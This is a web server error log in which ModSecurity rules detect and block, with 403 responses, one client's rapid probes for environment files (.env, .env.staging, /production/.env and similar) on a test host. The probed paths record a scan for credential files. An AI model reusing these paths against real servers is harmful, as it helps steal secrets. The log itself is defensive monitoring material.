[Thu Feb 26 01:02:44.619820 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiyagAAAAA&quot;]
[Thu Feb 26 01:02:44.645640 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiyawAAAAA&quot;]
[Thu Feb 26 01:02:44.645846 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiyawAAAAA&quot;]
[Thu Feb 26 01:02:44.646006 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/server/.env&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiyawAAAAA&quot;]
[Thu Feb 26 01:02:44.719243 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/.env&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiybAAAAAA&quot;]
[Thu Feb 26 01:02:44.719466 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/.env&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiybAAAAAA&quot;]
[Thu Feb 26 01:02:44.719643 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/.env&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiybAAAAAA&quot;]
[Thu Feb 26 01:02:44.731978 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /private/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHQQAAAAQ&quot;]
[Thu Feb 26 01:02:44.732205 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHQQAAAAQ&quot;]
[Thu Feb 26 01:02:44.732366 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/private/.env&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHQQAAAAQ&quot;]
[Thu Feb 26 01:02:44.743414 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiybQAAAAA&quot;]
[Thu Feb 26 01:02:44.743630 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiybQAAAAA&quot;]
[Thu Feb 26 01:02:44.743776 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/frontend/.env&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiybQAAAAA&quot;]
[Thu Feb 26 01:02:44.754824 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /backup/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHQgAAAAQ&quot;]
[Thu Feb 26 01:02:44.755039 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHQgAAAAQ&quot;]
[Thu Feb 26 01:02:44.755196 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/backup/.env&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHQgAAAAQ&quot;]
[Thu Feb 26 01:02:44.774282 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiybgAAAAA&quot;]
[Thu Feb 26 01:02:44.774502 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiybgAAAAA&quot;]
[Thu Feb 26 01:02:44.774648 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiybgAAAAA&quot;]
[Thu Feb 26 01:02:44.782464 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /test/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHQwAAAAQ&quot;]
[Thu Feb 26 01:02:44.782710 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHQwAAAAQ&quot;]
[Thu Feb 26 01:02:44.782862 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/test/.env&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHQwAAAAQ&quot;]
[Thu Feb 26 01:02:44.806420 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHRAAAAAQ&quot;]
[Thu Feb 26 01:02:44.806642 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHRAAAAAQ&quot;]
[Thu Feb 26 01:02:44.806786 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHRAAAAAQ&quot;]
[Thu Feb 26 01:02:44.828267 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiybwAAAAA&quot;]
[Thu Feb 26 01:02:44.828478 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiybwAAAAA&quot;]
[Thu Feb 26 01:02:44.828623 2026] [:error] [pid 2330788] [client 185.177.72.22:9442] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.staging&quot;] [unique_id &quot;aZ-NpCSJSniLip0oFXiybwAAAAA&quot;]
[Thu Feb 26 01:02:44.834697 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /staging/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.env&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHRQAAAAQ&quot;]
[Thu Feb 26 01:02:44.834909 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.env&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHRQAAAAQ&quot;]
[Thu Feb 26 01:02:44.835051 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/staging/.env&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHRQAAAAQ&quot;]
[Thu Feb 26 01:02:44.857476 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /production/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHRgAAAAQ&quot;]
[Thu Feb 26 01:02:44.857682 2026] [:error] [pid 2330792] [client 185.177.72.22:9426] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/production/.env&quot;] [unique_id &quot;aZ-NpDf0JOOqB-ib2UlHRgAAAAQ&quot;]
